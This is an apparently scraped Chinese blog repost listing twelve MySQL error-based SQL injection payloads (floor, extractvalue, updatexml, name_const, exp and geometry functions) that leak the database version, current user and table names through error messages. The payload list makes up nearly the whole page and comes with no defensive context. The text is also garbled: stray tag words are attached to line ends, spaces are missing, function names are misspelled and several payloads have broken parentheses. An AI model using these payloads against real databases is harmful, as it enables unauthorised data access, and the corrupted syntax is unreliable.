SQL報錯注入的12個函數及sql注入語句

轉來的 侵刪mysql

一、經過floor報錯,注入語句以下:   sql

 

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

 

二、經過ExtractValue報錯,注入語句以下:code

 

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

 

三、經過UpdateXml報錯,注入語句以下:orm

 

and 1=(updatexml(1,concat(0x3a,(selectuser())),1))

 

四、經過NAME_CONST報錯,注入語句以下:xml

 

and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

 

五、經過join報錯,注入語句以下:ip

 

select * from(select * from mysql.user ajoin mysql.user b)c;

 

六、經過exp報錯,注入語句以下:string

 

and exp(~(select * from (select user () ) a) );

 

七、經過GeometryCollection()報錯,注入語句以下:it

 

and GeometryCollection(()select *from(select user () )a)b );

 

八、經過polygon ()報錯,注入語句以下:io

 

and polygon (()select * from(select user ())a)b );

 

九、經過multipoint ()報錯,注入語句以下:table

 

and multipoint (()select * from(select user() )a)b );

 

十、經過multlinestring ()報錯,注入語句以下:

 

and multlinestring (()select * from(selectuser () )a)b );

 

十一、經過multpolygon ()報錯,注入語句以下:

 

and multpolygon (()select * from(selectuser () )a)b );

 

十二、經過linestring ()報錯,注入語句以下:

 

and linestring (()select * from(select user() )a)b );

 join報錯注入

相關文章
相關標籤/搜索